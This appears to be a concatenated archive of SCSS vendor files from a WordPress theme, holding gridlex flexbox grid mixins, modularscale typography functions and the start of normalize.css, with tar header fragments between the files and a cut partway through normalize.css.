$gl-colName:            customify-col !default;
$gl-attributeName:      class !default;
$gl-gutter:             2em !default; // Total left + right
$gl-gutter-vertical:    0 !default;

$gl-mq-list: (
  lg: "screen and (max-width: 80em)", // max 1280px
  md: "screen and (max-width: 64em)", // max 1024px
  sm: "screen and (max-width: 48em)", // max 768px
  xs: "screen and (max-width: 35.5em)" // up to 568px
) !default;


$glp_col-1: (100%/12);
$glp_col-2: ($glp_col-1*2);
$glp_col-3: ($glp_col-1*3);
$glp_col-4: ($glp_col-1*4);
$glp_col-5: ($glp_col-1*5);
$glp_col-6: ($glp_col-1*6);
$glp_col-7: ($glp_col-1*7);
$glp_col-8: ($glp_col-1*8);
$glp_col-9: ($glp_col-1*9);
$glp_col-10: ($glp_col-1*10);
$glp_col-11: ($glp_col-1*11);
$glp_col-12: 100%;

$glp_col-5-12: (100%/5);
$glp_col-7-12: (100%/7);
$glp_col-8-12: (100%/8);
$glp_col-9-12: (100%/9);
$glp_col-10-12: (100%/10);
$glp_col-11-12: (100%/11);

// Function to generate the grid by number
@mixin makeGridByNumber($grid)
{
  [#{$gl-attributeName}*="#{$grid}-1"] > [#{$gl-attributeName}~="#{$gl-colName}"],
  [#{$gl-attributeName}*="#{$grid}-1"] > [#{$gl-attributeName}*="#{$gl-colName}-"],
  [#{$gl-attributeName}*="#{$grid}-1"] > [#{$gl-attributeName}*="#{$gl-colName}_"] {
    flex-basis: $glp_col-12;
    max-width: $glp_col-12;
  }

  [#{$gl-attributeName}*="#{$grid}-2"] > [#{$gl-attributeName}~="#{$gl-colName}"],
  [#{$gl-attributeName}*="#{$grid}-2"] > [#{$gl-attributeName}*="#{$gl-colName}-"],
  [#{$gl-attributeName}*="#{$grid}-2"] > [#{$gl-attributeName}*="#{$gl-colName}_"] {
    flex-basis: $glp_col-6;
    max-width: $glp_col-6;
  }

  [#{$gl-attributeName}*="#{$grid}-3"] > [#{$gl-attributeName}~="#{$gl-colName}"],
  [#{$gl-attributeName}*="#{$grid}-3"] > [#{$gl-attributeName}*="#{$gl-colName}-"],
  [#{$gl-attributeName}*="#{$grid}-3"] > [#{$gl-attributeName}*="#{$gl-colName}_"] {
    flex-basis: $glp_col-4;
    max-width: $glp_col-4;
  }

  [#{$gl-attributeName}*="#{$grid}-4"] > [#{$gl-attributeName}~="#{$gl-colName}"],
  [#{$gl-attributeName}*="#{$grid}-4"] > [#{$gl-attributeName}*="#{$gl-colName}-"],
  [#{$gl-attributeName}*="#{$grid}-4"] > [#{$gl-attributeName}*="#{$gl-colName}_"] {
    flex-basis: $glp_col-3;
    max-width: $glp_col-3;
  }
  [#{$gl-attributeName}*="#{$grid}-5"] > [#{$gl-attributeName}~="#{$gl-colName}"],
  [#{$gl-attributeName}*="#{$grid}-5"] > [#{$gl-attributeName}*="#{$gl-colName}-"],
  [#{$gl-attributeName}*="#{$grid}-5"] > [#{$gl-attributeName}*="#{$gl-colName}_"] {
    flex-basis: $glp_col-5-12;
    max-width: $glp_col-5-12;
  }
  [#{$gl-attributeName}*="#{$grid}-6"] > [#{$gl-attributeName}~="#{$gl-colName}"],
  [#{$gl-attributeName}*="#{$grid}-6"] > [#{$gl-attributeName}*="#{$gl-colName}-"],
  [#{$gl-attributeName}*="#{$grid}-6"] > [#{$gl-attributeName}*="#{$gl-colName}_"] {
    flex-basis: $glp_col-2;
    max-width: $glp_col-2;
  }
  [#{$gl-attributeName}*="#{$grid}-7"] > [#{$gl-attributeName}~="#{$gl-colName}"],
  [#{$gl-attributeName}*="#{$grid}-7"] > [#{$gl-attributeName}*="#{$gl-colName}-"],
  [#{$gl-attributeName}*="#{$grid}-7"] > [#{$gl-attributeName}*="#{$gl-colName}_"] {
    flex-basis: $glp_col-7-12;
    max-width: $glp_col-7-12;
  }
  [#{$gl-attributeName}*="#{$grid}-8"] > [#{$gl-attributeName}~="#{$gl-colName}"],
  [#{$gl-attributeName}*="#{$grid}-8"] > [#{$gl-attributeName}*="#{$gl-colName}-"],
  [#{$gl-attributeName}*="#{$grid}-8"] > [#{$gl-attributeName}*="#{$gl-colName}_"] {
    flex-basis: $glp_col-8-12;
    max-width: $glp_col-8-12;
  }
  [#{$gl-attributeName}*="#{$grid}-9"] > [#{$gl-attributeName}~="#{$gl-colName}"],
  [#{$gl-attributeName}*="#{$grid}-9"] > [#{$gl-attributeName}*="#{$gl-colName}-"],
  [#{$gl-attributeName}*="#{$grid}-9"] > [#{$gl-attributeName}*="#{$gl-colName}_"] {
    flex-basis: $glp_col-9-12;
    max-width: $glp_col-9-12;
  }
  [#{$gl-attributeName}*="#{$grid}-10"] > [#{$gl-attributeName}~="#{$gl-colName}"],
  [#{$gl-attributeName}*="#{$grid}-10"] > [#{$gl-attributeName}*="#{$gl-colName}-"],
  [#{$gl-attributeName}*="#{$grid}-10"] > [#{$gl-attributeName}*="#{$gl-colName}_"] {
    flex-basis: $glp_col-10-12;
    max-width: $glp_col-10-12;
  }
  [#{$gl-attributeName}*="#{$grid}-11"] > [#{$gl-attributeName}~="#{$gl-colName}"],
  [#{$gl-attributeName}*="#{$grid}-11"] > [#{$gl-attributeName}*="#{$gl-colName}-"] {
    flex-basis: $glp_col-11-12;
    max-width: $glp_col-11-12;
  }
  [#{$gl-attributeName}*="#{$grid}-12"] > [#{$gl-attributeName}~="#{$gl-colName}"],
  [#{$gl-attributeName}*="#{$grid}-12"] > [#{$gl-attributeName}*="#{$gl-colName}-"],
  [#{$gl-attributeName}*="#{$grid}-12"] > [#{$gl-attributeName}*="#{$gl-colName}_"] {
    flex-basis: $glp_col-1;
    max-width: $glp_col-1;
  }
}

// Function to generate the grid by columns
@mixin makeCol($col)
{
  [#{$gl-attributeName}~="#{$gl-gridName}"],
  [#{$gl-attributeName}*="#{$gl-gridName}-"],
  [#{$gl-attributeName}*="#{$gl-gridName}_"] {
    > [#{$gl-attributeName}*="#{$col}-1"]{ flex-basis: $glp_col-1; max-width: $glp_col-1; }
    > [#{$gl-attributeName}*="#{$col}-2"]{ flex-basis: $glp_col-2; max-width: $glp_col-2;  }
    > [#{$gl-attributeName}*="#{$col}-3"]{ flex-basis: $glp_col-3; max-width: $glp_col-3;  }
    > [#{$gl-attributeName}*="#{$col}-4"]{ flex-basis: $glp_col-4; max-width: $glp_col-4; }
    > [#{$gl-attributeName}*="#{$col}-5"]{ flex-basis: $glp_col-5; max-width: $glp_col-5; }
    > [#{$gl-attributeName}*="#{$col}-6"]{ flex-basis: $glp_col-6; max-width: $glp_col-6; }
    > [#{$gl-attributeName}*="#{$col}-7"]{ flex-basis: $glp_col-7; max-width: $glp_col-7; }
    > [#{$gl-attributeName}*="#{$col}-8"]{ flex-basis: $glp_col-8; max-width: $glp_col-8; }
    > [#{$gl-attributeName}*="#{$col}-9"]{ flex-basis: $glp_col-9; max-width: $glp_col-9; }
    > [#{$gl-attributeName}*="#{$col}-10"]{ flex-basis: $glp_col-10; max-width: $glp_col-10; }
    > [#{$gl-attributeName}*="#{$col}-11"]{ flex-basis: $glp_col-11; max-width: $glp_col-11; }
    > [#{$gl-attributeName}*="#{$col}-12"]{ flex-basis: $glp_col-12; max-width: $glp_col-12; }
  }
}

// Function to generate the -first & -last base on mq keys (as _lg-first)
@mixin makeFirstLast($mq)
{
  [#{$gl-attributeName}~="#{$gl-gridName}"],
  [#{$gl-attributeName}*="#{$gl-gridName}-"],
  [#{$gl-attributeName}*="#{$gl-gridName}_"] {
    [#{$gl-attributeName}*="#{$mq}-first"]{
      order: -1;
    }
    [#{$gl-attributeName}*="#{$mq}-last"]{
      order: 1;
    }
  }
}

// Function to generate the offset
@mixin makeOff($off)
{
  [#{$gl-attributeName}~="#{$gl-gridName}"],
  [#{$gl-attributeName}*="#{$gl-gridName}-"],
  [#{$gl-attributeName}*="#{$gl-gridName}_"] {
    > [data-push-left*="#{$off}-0"]{ margin-left: 0; }
    > [data-push-left*="#{$off}-1"]{ margin-left: $glp_col-1; }
    > [data-push-left*="#{$off}-2"]{ margin-left: $glp_col-2; }
    > [data-push-left*="#{$off}-3"]{ margin-left: $glp_col-3; }
    > [data-push-left*="#{$off}-4"]{ margin-left: $glp_col-4; }
    > [data-push-left*="#{$off}-5"]{ margin-left: $glp_col-5; }
    > [data-push-left*="#{$off}-6"]{ margin-left: $glp_col-6; }
    > [data-push-left*="#{$off}-7"]{ margin-left: $glp_col-7; }
    > [data-push-left*="#{$off}-8"]{ margin-left: $glp_col-8; }
    > [data-push-left*="#{$off}-9"]{ margin-left: $glp_col-9; }
    > [data-push-left*="#{$off}-10"]{ margin-left: $glp_col-10; }
    > [data-push-left*="#{$off}-11"]{ margin-left: $glp_col-11; }

    > [data-push-right*="#{$off}-0"]{ margin-right: 0; }
    > [data-push-right*="#{$off}-1"]{ margin-right: $glp_col-1; }
    > [data-push-right*="#{$off}-2"]{ margin-right: $glp_col-2; }
    > [data-push-right*="#{$off}-3"]{ margin-right: $glp_col-3; }
    > [data-push-right*="#{$off}-4"]{ margin-right: $glp_col-4; }
    > [data-push-right*="#{$off}-5"]{ margin-right: $glp_col-5; }
    > [data-push-right*="#{$off}-6"]{ margin-right: $glp_col-6; }
    > [data-push-right*="#{$off}-7"]{ margin-right: $glp_col-7; }
    > [data-push-right*="#{$off}-8"]{ margin-right: $glp_col-8; }
    > [data-push-right*="#{$off}-9"]{ margin-right: $glp_col-9; }
    > [data-push-right*="#{$off}-10"]{ margin-right: $glp_col-10; }
    > [data-push-right*="#{$off}-11"]{ margin-right: $glp_col-11; }
  }
}vendors/gridlex/_gridlex.scss000066600000014264151143724600012372 0ustar00/* ==========================================================================
    GRIDLEX
    Just a Flexbox Grid System - v. 2.4.1
========================================================================== */
@import "gridlex-vars";
// GRID
[#{$gl-attributeName}~="#{$gl-gridName}"],
[#{$gl-attributeName}*="#{$gl-gridName}-"],
[#{$gl-attributeName}*="#{$gl-gridName}_"] {
    box-sizing: border-box;
    display: flex;
    flex-flow: row wrap;
    margin: 0 (-$gl-gutter/2);
}

// COLS
[#{$gl-attributeName}~="#{$gl-colName}"],
[#{$gl-attributeName}*="#{$gl-colName}-"],
[#{$gl-attributeName}*="#{$gl-colName}_"] {
    box-sizing: border-box;
    padding: 0 ($gl-gutter/2) $gl-gutter-vertical;
    max-width: 100%;
}

// JUST "COL" & "COL_"
[#{$gl-attributeName}~="#{$gl-colName}"],
[#{$gl-attributeName}*="#{$gl-colName}_"] {
    flex: 1 1 0%;
}

// JUST "COL-"
[#{$gl-attributeName}*="#{$gl-colName}-"] {
    flex: none;
}

// COL & GRID
[#{$gl-attributeName}~="#{$gl-gridName}"][#{$gl-attributeName}~="#{$gl-colName}"],
[#{$gl-attributeName}~="#{$gl-gridName}"][#{$gl-attributeName}*="#{$gl-colName}-"],
[#{$gl-attributeName}~="#{$gl-gridName}"][#{$gl-attributeName}*="#{$gl-colName}_"],
[#{$gl-attributeName}*="#{$gl-gridName}-"][#{$gl-attributeName}~="#{$gl-colName}"],
[#{$gl-attributeName}*="#{$gl-gridName}-"][#{$gl-attributeName}*="#{$gl-colName}-"],
[#{$gl-attributeName}*="#{$gl-gridName}-"][#{$gl-attributeName}*="#{$gl-colName}_"],
[#{$gl-attributeName}*="#{$gl-gridName}_"][#{$gl-attributeName}~="#{$gl-colName}"],
[#{$gl-attributeName}*="#{$gl-gridName}_"][#{$gl-attributeName}*="#{$gl-colName}-"],
[#{$gl-attributeName}*="#{$gl-gridName}_"][#{$gl-attributeName}*="#{$gl-colName}_"] {
    margin: 0;
    padding: 0;
}

/************************
    HELPERS SUFFIXES
*************************/
// FOR GRID
[#{$gl-attributeName}*="#{$gl-gridName}-"] {
    // No spacing between cols : noGutter
    &[#{$gl-attributeName}*="-noGutter"] {
        margin: 0;
        > [#{$gl-attributeName}~="#{$gl-colName}"],
        > [#{$gl-attributeName}*="#{$gl-colName}-"] {
            padding: 0;
        }
    }

    // No Wrapping
    &[#{$gl-attributeName}*="-noWrap"] {
        flex-wrap: nowrap;
    }
    // Horizontal alignment on center
    &[#{$gl-attributeName}*="-center"] {
        justify-content: center;
    }
    // Horizontal alignment on right
    &[#{$gl-attributeName}*="-right"] {
        justify-content: flex-end;
        align-self: flex-end;
        margin-left: auto;
    }
    // Vertical alignment on top
    &[#{$gl-attributeName}*="-top"] {
        align-items: flex-start;
    }
    // Vertical alignment on middle
    &[#{$gl-attributeName}*="-middle"] {
        align-items: center;
    }
    // Vertical alignment on bottom
    &[#{$gl-attributeName}*="-bottom"] {
        align-items: flex-end;
    }

    // Orders
    &[#{$gl-attributeName}*="-reverse"] {
        flex-direction: row-reverse;
    }
    &[#{$gl-attributeName}*="-column"] {
        flex-direction: column;
        > [#{$gl-attributeName}*="#{$gl-colName}-"] {
            flex-basis: auto;
        }
    }
    &[#{$gl-attributeName}*="-column-reverse"] {
        flex-direction: column-reverse;
    }

    // Spaces between and around cols
    &[#{$gl-attributeName}*="-spaceBetween"] {
        justify-content: space-between;
    }
    &[#{$gl-attributeName}*="-spaceAround"] {
        justify-content: space-around;
    }

    // Equal heights columns
    &[#{$gl-attributeName}*="-equalHeight"] > [#{$gl-attributeName}~="#{$gl-colName}"],
    &[#{$gl-attributeName}*="-equalHeight"] > [#{$gl-attributeName}*="#{$gl-colName}-"],
    &[#{$gl-attributeName}*="-equalHeight"] > [#{$gl-attributeName}*="#{$gl-colName}_"] {
        align-self: stretch;
        > * {
            height: 100%;
        }
    }
    // Removes the padding-bottom
    &[#{$gl-attributeName}*="-noBottom"] > [#{$gl-attributeName}~="#{$gl-colName}"],
    &[#{$gl-attributeName}*="-noBottom"] > [#{$gl-attributeName}*="#{$gl-colName}-"],
    &[#{$gl-attributeName}*="-noBottom"] > [#{$gl-attributeName}*="#{$gl-colName}_"] {
        padding-bottom: 0;
    }
}

// FOR COL
[#{$gl-attributeName}*="#{$gl-colName}-"] {
    &[#{$gl-attributeName}*="-top"] {
        align-self: flex-start;
    }
    &[#{$gl-attributeName}*="-middle"] {
        align-self: center;
    }
    &[#{$gl-attributeName}*="-bottom"] {
        align-self: flex-end;
    }
    &[#{$gl-attributeName}*="-first"] {
        order: -1;
    }
    &[#{$gl-attributeName}*="-last"] {
        order: 1;
    }
}

/************************
    GRID BY NUMBER
*************************/
@include makeGridByNumber(#{$gl-gridName});
@each $mq-key, $mq-value in $gl-mq-list {
    @media #{$mq-value} {
        @include makeGridByNumber(_#{$mq-key});
    }
}

/************************
    COLS SIZES
*************************/
@include makeCol(#{$gl-colName});
@include makeOff(off);

@each $mq-key, $mq-value in $gl-mq-list {
    @media #{$mq-value} {
        @include makeCol(_#{$mq-key});
        @include makeOff(_#{$mq-key});
        @include makeFirstLast(_#{$mq-key});
    }
}

/************************
    HIDING COLS
*************************/

/*[#{$gl-attributeName}*="#{$gl-colName}-"]:not([#{$gl-attributeName}*="#{$gl-gridName}"]):not([#{$gl-attributeName}*="#{$gl-colName}-0"]) {
  display: block;
}
[#{$gl-attributeName}~="#{$gl-gridName}"][#{$gl-attributeName}*="#{$gl-colName}-"]:not([#{$gl-attributeName}*="#{$gl-colName}-0"]) {
  display: flex;
}*/
[#{$gl-attributeName}*="#{$gl-colName}-"][#{$gl-attributeName}*="#{$gl-colName}-0"] {
    display: none;
}

@each $mq-key, $mq-value in $gl-mq-list {
    @media #{$mq-value} { //_#{$mq-key}
        [#{$gl-attributeName}~="#{$gl-gridName}"],
        [#{$gl-attributeName}*="#{$gl-gridName}-"],
        [#{$gl-attributeName}*="#{$gl-gridName}_"] {
            > :not([#{$gl-attributeName}*="_#{$mq-key}-0"]) {
                display: block;
            }
            /*
                  &:not([#{$gl-attributeName}*="_#{$mq-key}-0"]) {
                    display: flex;
                  }*/
            > [#{$gl-attributeName}*="_#{$mq-key}-0"] {
                //&[#{$gl-attributeName}*="-equalHeight"] > [#{$gl-attributeName}*="_#{$mq-key}-0"]{
                display: none;
            }
        }
    }
}




vendors/modularscale/_sugar.scss000066600000000511151143724600013060 0ustar00// To attempt to avoid conflicts with other libraries
// all funcitons are namespaced with `ms-`.
// However, to increase usability, a shorthand function is included here.

@function ms($v: 0, $base: false, $ratio: false, $thread: false, $settings: $modularscale) {
  @return ms-function($v, $base, $ratio, $thread, $settings);
}vendors/modularscale/_target.scss000066600000002325151143724600013232 0ustar00// Convert number string to number
@function ms-to-num($n) {
  $l: str-length($n);
  $r: 0;
  $m: str-index($n,'.');
  @if $m == null {
    $m: $l + 1;
  }
  // Loop through digits and convert to numbers
  @for $i from 1 through $l {
    $v: str-slice($n,$i,$i);
    @if $v == '1' { $v: 1; }
    @elseif $v == '2' { $v: 2; }
    @elseif $v == '3' { $v: 3; }
    @elseif $v == '4' { $v: 4; }
    @elseif $v == '5' { $v: 5; }
    @elseif $v == '6' { $v: 6; }
    @elseif $v == '7' { $v: 7; }
    @elseif $v == '8' { $v: 8; }
    @elseif $v == '9' { $v: 9; }
    @elseif $v == '0' { $v: 0; }
    @else { $v: null; }
    @if $v != null {
      $m: $m - 1;
      $r: $r + ms-pow(10,$m - 1) * $v;
    } @else {
      $l: $l - 1;
    }
  }
  @return $r;
}

// Find a ratio based on a target value
@function ms-target($t,$b) {
  // Convert to string
  $t: $t + '';
  // Remove base units to calulate ratio
  $b: ms-unitless(nth($b,1));
  // Find where 'at' is in the string
  $at: str-index($t,'at');

  // Slice the value and target out
  // and convert strings to numbers
  $v: ms-to-num(str-slice($t,0,$at - 1));
  $t: ms-to-num(str-slice($t,$at + 2));

  // Solve the modular scale function for the ratio.
  @return ms-pow(($v/$b),(1/$t));
}vendors/modularscale/_function.scss000066600000003054151143724600013571 0ustar00@function ms-function($v: 0, $base: false, $ratio: false, $thread: false, $settings: $modularscale) {

  // Parse settings
  $ms-settings: ms-settings($base,$ratio,$thread,$settings);
  $base: nth($ms-settings, 1);
  $ratio: nth($ms-settings, 2);

  // Render target values from settings.
  @if unit($ratio) != '' {
    $ratio: ms-target($ratio,$base)
  }

  // Fast calc if not multi stranded
  @if(length($base) == 1) {
    @return ms-round-px(ms-pow($ratio, $v) * $base);
  }

  // Create new base array
  $ms-bases: nth($base,1);

  // Normalize base values
  @for $i from 2 through length($base) {
    // initial base value
    $ms-base: nth($base,$i);
    // If the base is bigger than the main base
    @if($ms-base > nth($base,1)) {
      // divide the value until it aligns with main base.
      @while($ms-base > nth($base,1)) {
        $ms-base: $ms-base / $ratio;
      }
      $ms-base: $ms-base * $ratio;
    }
    // If the base is smaller than the main base.
    @elseif ($ms-base < nth($base,1)) {
      // pump up the value until it aligns with main base.
      @while $ms-base < nth($base,1) {
        $ms-base: $ms-base * $ratio;
      }
    }
    // Push into new array
    $ms-bases: append($ms-bases,$ms-base);
  }

  // Sort array from smallest to largest.
  $ms-bases: ms-sort($ms-bases);

  // Find step to use in calculation
  $vtep: floor($v / length($ms-bases));
  // Find base to use in calculation
  $ms-base: round(($v / length($ms-bases) - $vtep) * length($ms-bases)) + 1;

  @return ms-round-px(ms-pow($ratio, $vtep) * nth($ms-bases,$ms-base));
}vendors/modularscale/_pow.scss000066600000002130151143724600012543 0ustar00// Sass does not have native pow() support so this needs to be added.
// Compass and other libs implement this more extensively.
// In order to keep this simple, use those when they are avalible.
// Issue for pow() support in Sass: https://github.com/sass/sass/issues/684

@function ms-pow($b,$e) {

  // Return 1 if exponent is 0
  @if $e == 0 {
    @return 1;
  }

  // If pow() exists (compass or mathsass) use that.
  @if function-exists('pow') {
    @return pow($b,$e);
  }

  // This does not support non-integer exponents,
  // Check and return an error if a non-integer exponent is passed.
  @if (floor($e) != $e) {
    @error 'Non-integer values are not supported in modularscale by default. Try using mathsass in your project to add non-integer scale support. https://github.com/terkel/mathsass'
  }

  // Seed the return.
  $ms-return: $b;

  // Multiply or divide by the specified number of times.
  @if $e > 0 {
    @for $i from 1 to $e {
      $ms-return: $ms-return * $b;
    }
  }
  @if $e < 0 {
    @for $i from $e through 0 {
      $ms-return: $ms-return / $b;
    }
  }
  @return $ms-return;
}vendors/modularscale/_settings.scss000066600000001422151143724600013601 0ustar00// Parse settings starting with defaults.
// Settings should cascade down like you would expect in CSS.
// More specific overrides previous settings.

@function ms-settings($b: false, $r: false, $t: false, $m: $modularscale) {
  $base: $ms-base;
  $ratio: $ms-ratio;
  $thread: map-get($m, $t);

  // Override with user settings
  @if map-get($m, base) {
    $base: map-get($m, base);
  }
  @if map-get($m, ratio) {
    $ratio: map-get($m, ratio);
  }

  // Override with thread settings
  @if $thread {
    @if map-get($thread, base) {
      $base: map-get($thread, base);
    }
    @if map-get($thread, ratio) {
      $ratio: map-get($thread, ratio);
    }
  }

  // Override with inline settings
  @if $b {
    $base: $b;
  }
  @if $r {
    $ratio: $r;
  }

  @return $base $ratio;
}vendors/modularscale/_strip-units.scss000066600000000417151143724600014245 0ustar00// Stripping units is not a best practice
// This function should not be used elsewhere
// It is used here because calc() doesn't do unit logic
// AND target ratios use units as a hack to get a number.
@function ms-unitless($val) {
  @return ($val / ($val - $val + 1));
}vendors/modularscale/_sort.scss000066600000001753151143724600012737 0ustar00// Basic list sorting
// Would like to replace with http://sassmeister.com/gist/30e4863bd03ce0e1617c
// Unfortunately libsass has a bug with passing arguments into the min() funciton.

@function ms-sort($l) {

  // loop until the list is confirmed to be sorted
  $sorted: false;
  @while $sorted == false {

    // Start with the assumption that the lists are sorted.
    $sorted: true;

    // Loop through the list, checking each value with the one next to it.
    // Swap the values if they need to be swapped.
    // Not super fast but simple and modular scale doesn't lean hard on sorting.
    @for $i from 2 through length($l) {
      $n1: nth($l,$i - 1);
      $n2: nth($l,$i);

      // If the first value is greater than the 2nd, swap them.
      @if $n1 > $n2 {
        $l: set-nth($l, $i, $n1);
        $l: set-nth($l, $i - 1, $n2);

        // The list isn't sorted and needs to be looped through again.
        $sorted: false;
      }
    }
  }

  // Return the sorted list.
  @return $l;
}vendors/modularscale/_vars.scss000066600000001646151143724600012724 0ustar00// Ratios
$double-octave    : 4                 ;
$pi               : 3.14159265359     ;
$major-twelfth    : 3                 ;
$major-eleventh   : 2.666666667       ;
$major-tenth      : 2.5               ;
$octave           : 2                 ;
$major-seventh    : 1.875             ;
$minor-seventh    : 1.777777778       ;
$major-sixth      : 1.666666667       ;
$phi              : 1.618034          ;
$golden           : $phi              ;
$minor-sixth      : 1.6               ;
$fifth            : 1.5               ;
$augmented-fourth : 1.41421           ;
$fourth           : 1.333333333       ;
$major-third      : 1.25              ;
$minor-third      : 1.2               ;
$major-second     : 1.125             ;
$minor-second     : 1.066666667       ;

// Base config
$ms-base          : 1em       !default;
$ms-ratio         : $golden    !default;
$modularscale: (
        base: 1em 0.875em,
        ratio: 1.618
);vendors/modularscale/_respond.scss000066600000003212151143724600013412 0ustar00// Generate calc() function
// based on Mike Riethmuller's Precise control over responsive typography
// http://madebymike.com.au/writing/precise-control-responsive-typography/
@function ms-fluid($val1: 1em, $val2: 1em, $break1: 0, $break2: 0) {
  $diff: ms-unitless($val2) - ms-unitless($val1);

  // v1 + (v2 - v1) * ( (100vw - b1) / b2 - b1 )
  @return calc( #{$val1} + #{ms-unitless($val2) - ms-unitless($val1)} * ( ( 100vw - #{$break1}) / #{ms-unitless($break2) - ms-unitless($break1)} ) );
}

// Main responsive mixin
@mixin ms-respond($prop, $val, $map: $modularscale) {
  $base: $ms-base;
  $ratio: $ms-ratio;

  $first-write: true;
  $last-break: null;

  // loop through all settings with a breakpoint type value
  @each $v, $s in $map {
    @if type-of($v) == number {
      @if unit($v) != '' {

        // Write out the first value without a media query.
        @if $first-write {
          #{$prop}: ms-function($val, $thread: $v, $settings: $map);

          // Not the first write anymore, reset to false to move on.
          $first-write: false;
          $last-break: $v;
        }

        // Write intermediate breakpoints.
        @else {
          @media (min-width: $last-break) and (max-width: $v) {
            $val1: ms-function($val, $thread: $last-break, $settings: $map);
            $val2: ms-function($val, $thread: $v, $settings: $map);
            #{$prop}: ms-fluid($val1,$val2,$last-break,$v);
          }
          $last-break: $v;
        }
      }
    }
  }

  // Write the last breakpoint.
  @if $last-break {
    @media (min-width: $last-break) {
      #{$prop}: ms-function($val, $thread: $last-break, $settings: $map);
    }
  }
}vendors/modularscale/_round-px.scss000066600000000257151143724600013522 0ustar00// No reason to have decimal pixel values,
// normalize them to whole numbers.

@function ms-round-px($r) {
  @if unit($r) == 'px' {
    @return round($r);
  }
  @return $r;
}vendors/_vendors.scss000066600000000636151143724600010754 0ustar00// Modular Scale
@import 'modularscale/vars';
@import 'modularscale/settings';
@import 'modularscale/pow';
@import 'modularscale/strip-units';
@import 'modularscale/sort';
@import 'modularscale/round-px';
@import 'modularscale/target';
@import 'modularscale/function';
@import 'modularscale/respond';
@import 'modularscale/sugar';

// Normalize
@import 'normalize/normalize';

// Gridlex
@import 'gridlex/gridlex';vendors/normalize/_normalize.scss000066600000017264151143724600013301 0ustar00/*! normalize.css v7.0.0 | MIT License | github.com/necolas/normalize.css */

/* Document
   ========================================================================== */

/**
 * 1. Correct the line height in all browsers.
 * 2. Prevent adjustments of font size after orientation changes in
 *    IE on Windows Phone and in iOS.
 */

html {
    line-height: 1.15; /* 1 */
    -ms-text-size-adjust: 100%; /* 2 */
    -webkit-text-size-adjust: 100%; /* 2 */
}

/* Sections
   ========================================================================== */

/**
 * Remove the margin in all browsers (opinionated).
 */

body {
    margin: 0;
}

/**
 * Add the correct display in IE 9-.
 */

article,
aside,
footer,
header,
nav,
section {
    display: block;
}

/**
 * Correct the font size and margin on `h1` elements within `section` and
 * `article` contexts in Chrome, Firefox, and Safari.
 */

h1 {
    font-size: 2em;
    margin: 0.67em 0;
}

/* Grouping content
   ========================================================================== */

/**
 * Add the correct display in IE 9-.
 * 1. Add the correct display in IE.
 */

figcaption,
figure,
main { /* 1 */
    display: block;
}

/**
 * Add the correct margin in IE 8.
 */

figure {
    margin: 1em 40px;
}

/**
 * 1. Add the correct box sizing in Firefox.
 * 2. Show the overflow in Edge and IE.
 */

hr {
    box-sizing: content-box; /* 1 */
    height: 0; /* 1 */
    overflow: visible; /* 2 */
}

/**
 * 1. Correct the inheritance and scaling of font size in all browsers.
 * 2. Correct the odd `em` font sizing in all browsers.
 */

pre {
    font-family: monospace, monospace; /* 1 */
    font-size: 1em; /* 2 */
}

/* Text-level semantics
   ========================================================================== */

/**
 * 1. Remove the gray background on active links in IE 10.
 * 2. Remove gaps in links underline in iOS 8+ and Safari 8+.
 */

a {
    background-color: transparent; /* 1 */
    -webkit-text-decoration-skip: objects; /* 2 */
}

/**
 * 1. Remove the bottom border in Chrome 57- and Firefox 39-.
 * 2. Add the correct text decoration in Chrome, Edge, IE, Opera, and Safari.
 */

abbr[title] {
    border-bottom: none; /* 1 */
    text-decoration: underline; /* 2 */
    text-decoration: underline dotted; /* 2 */
}

/**
 * Prevent the duplicate application of `bolder` by the next rule in Safari 6.
 */

b,
strong {
    font-weight: inherit;
}

/**
 * Add the correct font weight in Chrome, Edge, and Safari.
 */

b,
strong {
    font-weight: bolder;
}

/**
 * 1. Correct the inheritance and scaling of font size in all browsers.
 * 2. Correct the odd `em` font sizing in all browsers.
 */

code,
kbd,
samp {
    font-family: monospace, monospace; /* 1 */
    font-size: 1em; /* 2 */
}

/**
 * Add the correct font style in Android 4.3-.
 */

dfn {
    font-style: italic;
}

/**
 * Add the correct background and color in IE 9-.
 */

mark {
    background-color: #ff0;
    color: #000;
}

/**
 * Add the correct font size in all browsers.
 */

small {
    font-size: 80%;
}

/**
 * Prevent `sub` and `sup` elements from affecting the line height in
 * all browsers.
 */

sub,
sup {
    font-size: 75%;
    line-height: 0;
    position: relative;
    vertical-align: baseline;
}

sub {
    bottom: -0.25em;
}

sup {
    top: -0.5em;
}

/* Embedded content
   ========================================================================== */

/**
 * Add the correct display in IE 9-.
 */

audio,
video {
    display: inline-block;
}

/**
 * Add the correct display in iOS 4-7.
 */

audio:not([controls]) {
    display: none;
    height: 0;
}

/**
 * Remove the border on images inside links in IE 10-.
 */

img {
    border-style: none;
}

/**
 * Hide the overflow in IE.
 */

svg:not(:root) {
    overflow: hidden;
}

/* Forms
   ========================================================================== */

/**
 * 1. Change the font styles in all browsers (opinionated).
 * 2. Remove the margin in Firefox and Safari.
 */

button,
input,
optgroup,
select,
textarea {
    font-family: sans-serif; /* 1 */
    font-size: 100%; /* 1 */
    line-height: 1.15; /* 1 */
    margin: 0; /* 2 */
}

/**
 * Show the overflow in IE.
 * 1. Show the overflow in Edge.
 */

button,
input { /* 1 */
    overflow: visible;
}

/**
 * Remove the inheritance of text transform in Edge, Firefox, and IE.
 * 1. Remove the inheritance of text transform in Firefox.
 */

button,
select { /* 1 */
    text-transform: none;
}

/**
 * 1. Prevent a WebKit bug where (2) destroys native `audio` and `video`
 *    controls in Android 4.
 * 2. Correct the inability to style clickable types in iOS and Safari.
 */

button,
html [type="button"], /* 1 */
[type="reset"],
[type="submit"] {
    -webkit-appearance: button; /* 2 */
}

/**
 * Remove the inner border and padding in Firefox.
 */

button::-moz-focus-inner,
[type="button"]::-moz-focus-inner,
[type="reset"]::-moz-focus-inner,
[type="submit"]::-moz-focus-inner {
    border-style: none;
    padding: 0;
}

/**
 * Restore the focus styles unset by the previous rule.
 */

button:-moz-focusring,
[type="button"]:-moz-focusring,
[type="reset"]:-moz-focusring,
[type="submit"]:-moz-focusring {
    outline: 1px dotted ButtonText;
}

/**
 * Correct the padding in Firefox.
 */

fieldset {
    padding: 0.35em 0.75em 0.625em;
}

/**
 * 1. Correct the text wrapping in Edge and IE.
 * 2. Correct the color inheritance from `fieldset` elements in IE.
 * 3. Remove the padding so developers are not caught out when they zero out
 *    `fieldset` elements in all browsers.
 */

legend {
    box-sizing: border-box; /* 1 */
    color: inherit; /* 2 */
    display: table; /* 1 */
    max-width: 100%; /* 1 */
    padding: 0; /* 3 */
    white-space: normal; /* 1 */
}

/**
